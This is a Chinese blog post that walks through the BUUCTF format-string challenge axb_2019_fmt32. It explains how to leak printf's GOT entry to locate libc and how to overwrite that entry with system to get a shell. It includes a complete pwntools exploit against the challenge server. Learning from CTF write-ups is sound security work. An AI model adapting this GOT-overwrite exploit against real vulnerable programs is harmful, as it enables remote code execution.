buu axb_2019_fmt32 1

文章讲述了如何在具有PartialRELRO保护的程序中,通过找到printf函数的GOT表地址并利用格式化字符串漏洞,泄露libc并获取system函数地址,从而实现远程代码执行的过程。作者详细描述了payload的构造和exploit的步骤。
摘要由CSDN通过智能技术生成

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
在这里插入图片描述
程序大概的逻辑是先使用read函数向s读入最多0x100个字节,然后将s拼接在Repeater:后面再加一个\n后将其存入format里,然后输出format,s的大小为0x239,故不能栈溢出。
而printf(format)这存在格式化字符串漏洞。而且该程序开启的只是Partial RELRO保护,所以每个libc函数对应的GOT表项是可以被修改的。我们可以将printf对应的GOT表内容改为system函数的地址,然后再通过read函数将/bin/sh读入到system的参数中执行后门,所以现在我们要解决2个大问题,一是要知道printf的GOT表地址,二是要确定system函数地址。printf的GOT表地址可以通过ELF很容易获得,而system函数在程序中不曾出现,我们就需要泄露libc了,这里我们就可以通过printf(format)这里的格式化字符串漏洞来泄露libc,这里我们就需要确定format是第几个参数了,而且后面也会用到。我们这里可以不用下断点,直接输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
在这里插入图片描述
发现在第7个的第一个字节和第8个的后三个字节都是以0x61表示的a,而内存中字节逆序存放,故printf(format)中的format是从第七个参数的最后一个字节开始,然后接着第8个参数存放,故payload可以入以下构造(构造方法不唯一):payload=b’a’+b’%9$s’+p32(printf_got),这样第一个b’a’就被放在了第七个参数的最后一个位置,b’%9$s’被放在第8个参数的位置,p32(printf_got)被放在第九个参数的位置,这样在读取%9$s时就会打印出以第九个参数为地址处的内容,也就是printf的真实地址。然后再想办法接收就可以了,这里我们使用p.recv(14)[10:]来接收,因为前面有Repeater:a一共10个字节,所以我们从第11个字节开始接收4个就是printf的真实地址。这样我们就泄露libc得到system函数的地址。
后面将printf_got替换为system的地址时用到了fmtstr_payload()函数,先上exp

3.exp

from pwn import*
p=remote('node5.buuoj.cn',25060)
elf=ELF('./26')
printf_got=elf.got['printf']

payload=b'a'+b'%9$s'+p32(printf_got)
p.sendlineafter('tell me:',payload)
printf_addr=u32(p.recv(14)[10:])
print(hex(printf_addr))

libc=ELF('./ubantu1632.so')
libcbase=printf_addr-libc.sym['printf']
sys=libcbase+libc.sym['system']

payload=b'a'+fmtstr_payload(8,{printf_got:sys},numbwritten = 0xa)
p.sendline(payload)
p.sendline(';/bin/sh\x00')
p.interactive()

在第二次发送的payload中8是第8个参数的意思,numbwritten = 0xa必须有,它表示已经读入的字节数位0xa,因为在使用fmtstr_payload这个函数前就已经读入了0xa个字节:Repeater:a了

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值